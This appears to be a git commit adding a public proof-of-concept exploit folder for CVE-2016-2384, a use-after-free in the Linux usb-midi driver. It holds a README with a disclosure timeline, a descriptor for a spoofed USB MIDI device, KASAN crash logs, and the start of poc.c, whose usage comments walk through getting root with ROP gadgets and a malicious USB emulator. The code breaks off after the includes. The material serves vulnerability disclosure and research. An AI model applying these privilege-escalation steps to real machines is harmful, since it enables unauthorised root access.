linux-exp

This commit is contained in:
Gitmaninc 2017-07-30 23:37:03 -04:00
parent 9ec0ed8024
commit 9fdeea0974
17 changed files with 3159 additions and 0 deletions

15
2016/CVE-2016-2384/README.md Executable file
View File

@ -0,0 +1,15 @@
CVE-2016-2384
=============
- [CVE-2016-2384](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384)
This is a proof-of-concept exploit for the vulnerability in the usb-midi Linux kernel driver ([CVE-2016-2384](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384)).
Requires physical access to the machine.
Check out [the writeup](https://xairy.github.io/blog/2016/cve-2016-2384) and [the demo video](https://www.youtube.com/watch?v=lfl1NJn1nvo)!
Timeline:
* 13 Feb 2016: the issue reported to security@kernel.org
* 13 Feb 2016: [the fix](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7) is upstream
* 14 Feb 2016: [a CVE id](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) is assigned
* 22 Feb 2016: [a writeup](https://xairy.github.io/blog/2016/cve-2016-2384) is published

38
2016/CVE-2016-2384/device.txt Executable file
View File

@ -0,0 +1,38 @@
Speed Full
Bus 001 Device 003: ID 058f:6366 Alcor Micro Corp. Multi Flash Reader
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x0763 Midiman
idProduct 0x1002 MidiSport 2x2
bcdDevice 1.00
iManufacturer 1 Generic
iProduct 2 Mass Storage Device
iSerial 3 058F63666471
bNumConfigurations 1
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 32
bNumInterfaces 1
bConfigurationValue 1
iConfiguration 0
bmAttributes 0x80
(Bus Powered)
MaxPower 100mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 0
bInterfaceClass 255 Vendor Specific Class
bInterfaceSubClass 0
bInterfaceProtocol 0
iInterface 0

171
2016/CVE-2016-2384/kasan-raw.txt Executable file
View File

@ -0,0 +1,171 @@
[ 25.262415] ==================================================================
[ 25.263553] BUG: KASAN: use-after-free in snd_usbmidi_free+0x92/0xa0 at addr ffff88006a8c5da0
[ 25.264851] Read of size 8 by task kworker/0:2/928
[ 25.265589] =============================================================================
[ 25.266802] BUG kmalloc-512 (Not tainted): kasan: bad access detected
[ 25.267736] -----------------------------------------------------------------------------
[ 25.267736]
[ 25.269137] Disabling lock debugging due to kernel taint
[ 25.269926] INFO: Allocated in snd_usbmidi_create+0xb4/0x1dc0 age=1 cpu=0 pid=928
[ 25.271023] ___slab_alloc+0x44f/0x470
[ 25.271583] __slab_alloc+0x1b/0x30
[ 25.272103] kmem_cache_alloc_trace+0x126/0x160
[ 25.272774] snd_usbmidi_create+0xb4/0x1dc0
[ 25.273399] create_any_midi_quirk+0x38/0x60
[ 25.274033] snd_usb_create_quirk+0x74/0x110
[ 25.274670] usb_audio_probe+0x43b/0x1d40
[ 25.275262] usb_probe_interface+0x42c/0x8c0
[ 25.275894] driver_probe_device+0x4be/0x800
[ 25.276528] __device_attach_driver+0x176/0x220
[ 25.277199] bus_for_each_drv+0x112/0x1b0
[ 25.277804] __device_attach+0x1c6/0x2a0
[ 25.278362] device_initial_probe+0xe/0x10
[ 25.278941] bus_probe_device+0x199/0x240
[ 25.279509] device_add+0x94c/0x1340
[ 25.280020] usb_set_configuration+0xaec/0x1540
[ 25.280663] INFO: Freed in snd_usbmidi_free+0x7f/0xa0 age=1 cpu=0 pid=928
[ 25.281608] __slab_free+0x170/0x290
[ 25.282123] kfree+0x13b/0x150
[ 25.282562] snd_usbmidi_free+0x7f/0xa0
[ 25.283104] snd_usbmidi_create+0x11bc/0x1dc0
[ 25.283702] create_any_midi_quirk+0x38/0x60
[ 25.284323] snd_usb_create_quirk+0x74/0x110
[ 25.284932] usb_audio_probe+0x43b/0x1d40
[ 25.285505] usb_probe_interface+0x42c/0x8c0
[ 25.286121] driver_probe_device+0x4be/0x800
[ 25.286665] __device_attach_driver+0x176/0x220
[ 25.287227] bus_for_each_drv+0x112/0x1b0
[ 25.287725] __device_attach+0x1c6/0x2a0
[ 25.288213] device_initial_probe+0xe/0x10
[ 25.288721] bus_probe_device+0x199/0x240
[ 25.289219] device_add+0x94c/0x1340
[ 25.289677] usb_set_configuration+0xaec/0x1540
[ 25.290319] INFO: Slab 0xffffea0001aa3100 objects=10 used=0 fp=0xffff88006a8c5cb0 flags=0x100000000004080
[ 25.291648] INFO: Object 0xffff88006a8c5cb0 @offset=7344 fp=0xffff88006a8c4330
[ 25.291648]
[ 25.292848] Bytes b4 ffff88006a8c5ca0: 00 00 00 00 49 0a 00 00 33 b8 fb ff 00 00 00 00 ....I...3.......
[ 25.294156] Object ffff88006a8c5cb0: 30 43 8c 6a 00 88 ff ff 20 67 6b 6c 00 88 ff ff 0C.j.... gkl....
[ 25.295231] Object ffff88006a8c5cc0: 60 ca be 6a 00 88 ff ff 40 28 30 83 ff ff ff ff `..j....@(0.....
[ 25.296304] Object ffff88006a8c5cd0: 80 c9 76 6b 00 88 ff ff 80 0e 98 83 ff ff ff ff ..vk............
[ 25.297531] Object ffff88006a8c5ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.298791] Object ffff88006a8c5cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.300014] Object ffff88006a8c5d00: 00 00 00 00 00 00 00 00 c0 ae 6b 82 ff ff ff ff ..........k.....
[ 25.301237] Object ffff88006a8c5d10: b0 5c 8c 6a 00 88 ff ff 00 00 00 00 ff ff ff ff .\.j............
[ 25.302469] Object ffff88006a8c5d20: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.303695] Object ffff88006a8c5d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.304916] Object ffff88006a8c5d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.306135] Object ffff88006a8c5d50: 50 5d 8c 6a 00 88 ff ff 50 5d 8c 6a 00 88 ff ff P].j....P].j....
[ 25.307303] Object ffff88006a8c5d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.308478] Object ffff88006a8c5d70: 01 00 00 00 00 00 00 00 78 5d 8c 6a 00 88 ff ff ........x].j....
[ 25.309649] Object ffff88006a8c5d80: 78 5d 8c 6a 00 88 ff ff 00 00 00 00 00 00 00 00 x].j............
[ 25.310830] Object ffff88006a8c5d90: 00 00 00 00 00 00 00 00 33 10 63 07 01 00 00 00 ........3.c.....
[ 25.312007] Object ffff88006a8c5da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.313176] Object ffff88006a8c5db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.314342] Object ffff88006a8c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.315511] Object ffff88006a8c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.316682] Object ffff88006a8c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.317861] Object ffff88006a8c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.318986] Object ffff88006a8c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.320100] Object ffff88006a8c5e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.321225] Object ffff88006a8c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.322355] Object ffff88006a8c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.323475] Object ffff88006a8c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.324586] Object ffff88006a8c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.325706] Object ffff88006a8c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.326826] Object ffff88006a8c5e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.327937] Object ffff88006a8c5e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.329049] Object ffff88006a8c5e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.330133] Object ffff88006a8c5ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[ 25.331131] CPU: 0 PID: 928 Comm: kworker/0:2 Tainted: G B 4.4.0 #7
[ 25.331922] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014
[ 25.333297] Workqueue: usb_hub_wq hub_event
[ 25.333766] ffff88006a8c4000 ffff88006b616e50 ffffffff819f6215 ffff88006cc02200
[ 25.334622] ffff88006b616e80 ffffffff81431c84 ffff88006cc02200 ffffea0001aa3100
[ 25.335476] ffff88006a8c5cb0 ffff88006a8c5cb0 ffff88006b616ea8 ffffffff81436c7f
[ 25.336326] Call Trace:
[ 25.336602] [<ffffffff819f6215>] dump_stack+0x44/0x5f
[ 25.337162] [<ffffffff81431c84>] print_trailer+0xf4/0x150
[ 25.337764] [<ffffffff81436c7f>] object_err+0x2f/0x40
[ 25.338323] [<ffffffff81438e9d>] kasan_report_error+0x20d/0x520
[ 25.338973] [<ffffffff814353f2>] ? __slab_free+0x1a2/0x290
[ 25.339604] [<ffffffff814385b6>] ? kasan_unpoison_shadow+0x36/0x50
[ 25.340283] [<ffffffff8157dda7>] ? proc_entry_rundown+0xb7/0x190
[ 25.340949] [<ffffffff814392ae>] __asan_report_load8_noabort+0x3e/0x40
[ 25.341681] [<ffffffff826baa72>] ? snd_usbmidi_free+0x92/0xa0
[ 25.342303] [<ffffffff826baa72>] snd_usbmidi_free+0x92/0xa0
[ 25.342899] [<ffffffff826baab2>] snd_usbmidi_rawmidi_free+0x32/0x40
[ 25.343525] [<ffffffff825f2f7f>] snd_rawmidi_free+0x11f/0x170
[ 25.344065] [<ffffffff825f2ffc>] snd_rawmidi_dev_free+0x2c/0x40
[ 25.344617] [<ffffffff825aa565>] __snd_device_free+0x125/0x210
[ 25.345158] [<ffffffff825aad10>] snd_device_free_all+0x80/0xc0
[ 25.345745] [<ffffffff8259b24f>] release_card_device+0x2f/0x130
[ 25.346366] [<ffffffff8202f6e1>] device_release+0x71/0x1e0
[ 25.347086] [<ffffffff819fbd81>] kobject_release+0xc1/0x160
[ 25.348214] [<ffffffff819fb9fe>] kobject_put+0x4e/0xa0
[ 25.349420] [<ffffffff8202fd42>] put_device+0x12/0x20
[ 25.350574] [<ffffffff8259d6ac>] snd_card_free+0xac/0xf0
[ 25.351768] [<ffffffff8259d600>] ? snd_card_free_when_closed+0x30/0x30
[ 25.353218] [<ffffffff826b2374>] ? snd_usb_create_quirk+0x74/0x110
[ 25.354572] [<ffffffff826aff65>] ? snd_usb_audio_create_proc+0x115/0x1e0
[ 25.355887] [<ffffffff8267eb9a>] usb_audio_probe+0x77a/0x1d40
[ 25.357040] [<ffffffff8267e420>] ? snd_usb_create_stream+0x480/0x480
[ 25.357858] [<ffffffff82056ee6>] ? __pm_runtime_set_status+0x496/0x960
[ 25.358472] [<ffffffff82317a8c>] usb_probe_interface+0x42c/0x8c0
[ 25.359039] [<ffffffff8203c79e>] driver_probe_device+0x4be/0x800
[ 25.359602] [<ffffffff8203cda6>] __device_attach_driver+0x176/0x220
[ 25.360186] [<ffffffff8203cc30>] ? __driver_attach+0x150/0x150
[ 25.360731] [<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0
[ 25.361271] [<ffffffff82037570>] ? bus_rescan_devices+0x20/0x20
[ 25.361830] [<ffffffff82e6b129>] ? _raw_spin_unlock_irqrestore+0x9/0x10
[ 25.362445] [<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0
[ 25.362971] [<ffffffff8203c010>] ? device_bind_driver+0x30/0x30
[ 25.363524] [<ffffffff819fe492>] ? kobject_uevent_env+0x202/0xa50
[ 25.364090] [<ffffffff8203cebe>] device_initial_probe+0xe/0x10
[ 25.364632] [<ffffffff8203a299>] bus_probe_device+0x199/0x240
[ 25.365166] [<ffffffff8203447c>] device_add+0x94c/0x1340
[ 25.365670] [<ffffffff82033b30>] ? device_private_init+0x180/0x180
[ 25.366237] [<ffffffff8204ee24>] ? wakeup_sysfs_add+0x14/0x20
[ 25.366757] [<ffffffff82061b20>] ? device_set_wakeup_capable+0xc0/0x160
[ 25.367354] [<ffffffff82310d3c>] usb_set_configuration+0xaec/0x1540
[ 25.367919] [<ffffffff8232e516>] generic_probe+0x56/0xb0
[ 25.368402] [<ffffffff8231762a>] usb_probe_device+0x8a/0xc0
[ 25.368908] [<ffffffff8203c79e>] driver_probe_device+0x4be/0x800
[ 25.369451] [<ffffffff8203cda6>] __device_attach_driver+0x176/0x220
[ 25.370019] [<ffffffff8203cc30>] ? __driver_attach+0x150/0x150
[ 25.370548] [<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0
[ 25.371068] [<ffffffff82037570>] ? bus_rescan_devices+0x20/0x20
[ 25.371604] [<ffffffff82e6b129>] ? _raw_spin_unlock_irqrestore+0x9/0x10
[ 25.372199] [<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0
[ 25.372708] [<ffffffff8203c010>] ? device_bind_driver+0x30/0x30
[ 25.373248] [<ffffffff819fe492>] ? kobject_uevent_env+0x202/0xa50
[ 25.373804] [<ffffffff8203cebe>] device_initial_probe+0xe/0x10
[ 25.374320] [<ffffffff8203a299>] bus_probe_device+0x199/0x240
[ 25.374839] [<ffffffff8203447c>] device_add+0x94c/0x1340
[ 25.375323] [<ffffffff82033b30>] ? device_private_init+0x180/0x180
[ 25.375883] [<ffffffff822f41a1>] usb_new_device+0x701/0xfa0
[ 25.376386] [<ffffffff822f8580>] hub_event+0x1b70/0x2d00
[ 25.376870] [<ffffffff822f6a10>] ? hub_port_debounce+0x1b0/0x1b0
[ 25.377413] [<ffffffff82050101>] ? dev_pm_get_subsys_data+0x71/0x1c0
[ 25.377994] [<ffffffff8100a4fc>] ? __switch_to+0x7ac/0xe40
[ 25.378492] [<ffffffff82e6b129>] ? _raw_spin_unlock_irqrestore+0x9/0x10
[ 25.379068] [<ffffffff820575cd>] ? __pm_runtime_suspend+0x8d/0xb0
[ 25.379620] [<ffffffff8113622f>] ? pwq_dec_nr_in_flight+0x11f/0x270
[ 25.380187] [<ffffffff822f682d>] ? usb_remote_wakeup+0x4d/0x80
[ 25.380720] [<ffffffff81137375>] process_one_work+0x585/0x1200
[ 25.381249] [<ffffffff811380c7>] worker_thread+0xd7/0x1200
[ 25.381742] [<ffffffff82e608b5>] ? __schedule+0x935/0x1d60
[ 25.382242] [<ffffffff81137ff0>] ? process_one_work+0x1200/0x1200
[ 25.382791] [<ffffffff81148ba0>] kthread+0x1c0/0x260
[ 25.383242] [<ffffffff811489e0>] ? kthread_worker_fn+0x580/0x580
[ 25.383784] [<ffffffff8100a4fc>] ? __switch_to+0x7ac/0xe40
[ 25.384280] [<ffffffff811489e0>] ? kthread_worker_fn+0x580/0x580
[ 25.384824] [<ffffffff82e6bb4f>] ret_from_fork+0x3f/0x70
[ 25.385304] [<ffffffff811489e0>] ? kthread_worker_fn+0x580/0x580
[ 25.385846] Memory state around the buggy address:
[ 25.386271] ffff88006a8c5c80: fc fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb
[ 25.386906] ffff88006a8c5d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 25.387548] >ffff88006a8c5d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 25.388184] ^
[ 25.388565] ffff88006a8c5e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 25.389202] ffff88006a8c5e80: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc
[ 25.389844] ==================================================================

152
2016/CVE-2016-2384/kasan.txt Executable file
View File

@ -0,0 +1,152 @@
==================================================================
BUG: KASAN: use-after-free in snd_usbmidi_free+0x92/0xa0 at addr ffff88006a8c5da0
Read of size 8 by task kworker/0:2/928
=============================================================================
BUG kmalloc-512 (Not tainted): kasan: bad access detected
-----------------------------------------------------------------------------
Disabling lock debugging due to kernel taint
INFO: Allocated in snd_usbmidi_create+0xb4/0x1dc0 age=1 cpu=0 pid=928
[< none >] ___slab_alloc+0x44f/0x470 mm/slub.c:2438
[< none >] __slab_alloc+0x1b/0x30 mm/slub.c:2467
[< inline >] slab_alloc_node mm/slub.c:2530
[< inline >] slab_alloc mm/slub.c:2572
[< none >] kmem_cache_alloc_trace+0x126/0x160 mm/slub.c:2589
[< inline >] kmalloc include/linux/slab.h:458
[< inline >] kzalloc include/linux/slab.h:602
[< none >] snd_usbmidi_create+0xb4/0x1dc0 sound/usb/midi.c:2332
[< none >] create_any_midi_quirk+0x38/0x60 sound/usb/quirks.c:103
[< none >] snd_usb_create_quirk+0x74/0x110 sound/usb/quirks.c:550
[< none >] usb_audio_probe+0x43b/0x1d40 sound/usb/card.c:544
[< none >] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356
[< inline >] really_probe drivers/base/dd.c:316
[< none >] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
[< none >] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
[< none >] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
[< none >] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
[< none >] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
[< none >] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
[< none >] device_add+0x94c/0x1340 drivers/base/core.c:1120
[< none >] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932
INFO: Freed in snd_usbmidi_free+0x7f/0xa0 age=1 cpu=0 pid=928
[< none >] __slab_free+0x170/0x290 mm/slub.c:2648
[< inline >] slab_free mm/slub.c:2803
[< none >] kfree+0x13b/0x150 mm/slub.c:3632
[< none >] snd_usbmidi_free+0x7f/0xa0 sound/usb/midi.c:1455
[< none >] snd_usbmidi_create+0x11bc/0x1dc0 sound/usb/midi.c:2457
[< none >] create_any_midi_quirk+0x38/0x60 sound/usb/quirks.c:103
[< none >] snd_usb_create_quirk+0x74/0x110 sound/usb/quirks.c:550
[< none >] usb_audio_probe+0x43b/0x1d40 sound/usb/card.c:544
[< none >] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356
[< inline >] really_probe drivers/base/dd.c:316
[< none >] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
[< none >] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
[< none >] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
[< none >] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
[< none >] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
[< none >] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
[< none >] device_add+0x94c/0x1340 drivers/base/core.c:1120
[< none >] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932
INFO: Slab 0xffffea0001aa3100 objects=10 used=0 fp=0xffff88006a8c5cb0 flags=0x100000000004080
INFO: Object 0xffff88006a8c5cb0 @offset=7344 fp=0xffff88006a8c4330
Bytes b4 ffff88006a8c5ca0: 00 00 00 00 49 0a 00 00 33 b8 fb ff 00 00 00 00 ....I...3.......
Object ffff88006a8c5cb0: 30 43 8c 6a 00 88 ff ff 20 67 6b 6c 00 88 ff ff 0C.j.... gkl....
Object ffff88006a8c5cc0: 60 ca be 6a 00 88 ff ff 40 28 30 83 ff ff ff ff `..j....@(0.....
Object ffff88006a8c5cd0: 80 c9 76 6b 00 88 ff ff 80 0e 98 83 ff ff ff ff ..vk............
Object ffff88006a8c5ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5d00: 00 00 00 00 00 00 00 00 c0 ae 6b 82 ff ff ff ff ..........k.....
Object ffff88006a8c5d10: b0 5c 8c 6a 00 88 ff ff 00 00 00 00 ff ff ff ff .\.j............
Object ffff88006a8c5d20: ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5d50: 50 5d 8c 6a 00 88 ff ff 50 5d 8c 6a 00 88 ff ff P].j....P].j....
Object ffff88006a8c5d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5d70: 01 00 00 00 00 00 00 00 78 5d 8c 6a 00 88 ff ff ........x].j....
Object ffff88006a8c5d80: 78 5d 8c 6a 00 88 ff ff 00 00 00 00 00 00 00 00 x].j............
Object ffff88006a8c5d90: 00 00 00 00 00 00 00 00 33 10 63 07 01 00 00 00 ........3.c.....
Object ffff88006a8c5da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Object ffff88006a8c5ea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
CPU: 0 PID: 928 Comm: kworker/0:2 Tainted: G B 4.4.0 #7
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.7.5-0-ge51488c-20140602_164612-nilsson.home.kraxel.org 04/01/2014
Workqueue: usb_hub_wq hub_event
ffff88006a8c4000 ffff88006b616e50 ffffffff819f6215 ffff88006cc02200
ffff88006b616e80 ffffffff81431c84 ffff88006cc02200 ffffea0001aa3100
ffff88006a8c5cb0 ffff88006a8c5cb0 ffff88006b616ea8 ffffffff81436c7f
Call Trace:
[< inline >] __dump_stack lib/dump_stack.c:15
[<ffffffff819f6215>] dump_stack+0x44/0x5f lib/dump_stack.c:50
[<ffffffff81431c84>] print_trailer+0xf4/0x150 mm/slub.c:652
[<ffffffff81436c7f>] object_err+0x2f/0x40 mm/slub.c:659
[< inline >] print_address_description mm/kasan/report.c:138
[<ffffffff81438e9d>] kasan_report_error+0x20d/0x520 mm/kasan/report.c:236
[< inline >] kasan_report mm/kasan/report.c:259
[<ffffffff814392ae>] __asan_report_load8_noabort+0x3e/0x40 mm/kasan/report.c:280
[<ffffffff826baa72>] snd_usbmidi_free+0x92/0xa0 sound/usb/midi.c:1449
[<ffffffff826baab2>] snd_usbmidi_rawmidi_free+0x32/0x40 sound/usb/midi.c:1511
[<ffffffff825f2f7f>] snd_rawmidi_free+0x11f/0x170 sound/core/rawmidi.c:1546
[<ffffffff825f2ffc>] snd_rawmidi_dev_free+0x2c/0x40 sound/core/rawmidi.c:1554
[<ffffffff825aa565>] __snd_device_free+0x125/0x210 sound/core/device.c:91
[<ffffffff825aad10>] snd_device_free_all+0x80/0xc0 sound/core/device.c:244
[< inline >] snd_card_do_free sound/core/init.c:461
[<ffffffff8259b24f>] release_card_device+0x2f/0x130 sound/core/init.c:181
[<ffffffff8202f6e1>] device_release+0x71/0x1e0 drivers/base/core.c:247
[< inline >] kobject_cleanup lib/kobject.c:645
[<ffffffff819fbd81>] kobject_release+0xc1/0x160 lib/kobject.c:674
[< inline >] kref_put include/linux/kref.h:73
[<ffffffff819fb9fe>] kobject_put+0x4e/0xa0 lib/kobject.c:691
[<ffffffff8202fd42>] put_device+0x12/0x20 drivers/base/core.c:1215
[< inline >] snd_card_free_when_closed sound/core/init.c:489
[<ffffffff8259d6ac>] snd_card_free+0xac/0xf0 sound/core/init.c:514
[<ffffffff8267eb9a>] usb_audio_probe+0x77a/0x1d40 sound/usb/card.c:574
[<ffffffff82317a8c>] usb_probe_interface+0x42c/0x8c0 drivers/usb/core/driver.c:356
[< inline >] really_probe drivers/base/dd.c:316
[<ffffffff8203c79e>] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
[<ffffffff8203cda6>] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
[<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
[<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
[<ffffffff8203cebe>] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
[<ffffffff8203a299>] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
[<ffffffff8203447c>] device_add+0x94c/0x1340 drivers/base/core.c:1120
[<ffffffff82310d3c>] usb_set_configuration+0xaec/0x1540 drivers/usb/core/message.c:1932
[<ffffffff8232e516>] generic_probe+0x56/0xb0 drivers/usb/core/generic.c:172
[<ffffffff8231762a>] usb_probe_device+0x8a/0xc0 drivers/usb/core/driver.c:263
[< inline >] really_probe drivers/base/dd.c:316
[<ffffffff8203c79e>] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
[<ffffffff8203cda6>] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
[<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
[<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
[<ffffffff8203cebe>] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
[<ffffffff8203a299>] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
[<ffffffff8203447c>] device_add+0x94c/0x1340 drivers/base/core.c:1120
[<ffffffff822f41a1>] usb_new_device+0x701/0xfa0 drivers/usb/core/hub.c:2499
[< inline >] port_event drivers/usb/core/hub.c:4798
[<ffffffff822f8580>] hub_event+0x1b70/0x2d00 drivers/usb/core/hub.c:5089
[<ffffffff81137375>] process_one_work+0x585/0x1200 kernel/workqueue.c:2030
[<ffffffff811380c7>] worker_thread+0xd7/0x1200 kernel/workqueue.c:2162
[<ffffffff81148ba0>] kthread+0x1c0/0x260 kernel/kthread.c:209
[<ffffffff82e6bb4f>] ret_from_fork+0x3f/0x70 arch/x86/entry/entry_64.S:468
Memory state around the buggy address:
ffff88006a8c5c80: fc fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb
ffff88006a8c5d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88006a8c5d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88006a8c5e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88006a8c5e80: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc
==================================================================

462
2016/CVE-2016-2384/poc.c Executable file
View File

@ -0,0 +1,462 @@
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
// driver. Meant to be used in conjuction with a hardware usb emulator, which
// emulates a particular malicious usb device (a Facedancer21 for example).
//
// Andrey Konovalov <andreyknvl@gmail.com>
//
// Usage:
// // Edit source to set addresses of the kernel symbols and the ROP gadgets.
// $ gcc poc.c -masm=intel
// // Run N instances of the binary with the argument increasing from 0 to N,
// // where N is the number of cpus on your machine.
// $ ./a.out 0 & ./a.out 1 & ...
// [+] starting as: uid=1000, euid=1000
// [+] payload addr: 0x400b60
// [+] fake stack mmaped
// [+] plug in the usb device...
// // Now plug in the device a few times.
// // In one of the instances you will get (if the kernel doesn't crash):
// [+] got r00t: uid=0, euid=0
// # id
// uid=0(root) gid=0(root) groups=0(root)
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <assert.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <arpa/inet.h>
// You need to set these based on your kernel.
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
// is to boot your kernel and grep /proc/kallsyms for them.
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
// Note that all of the used gadgets must preserve the initial value of the rbp
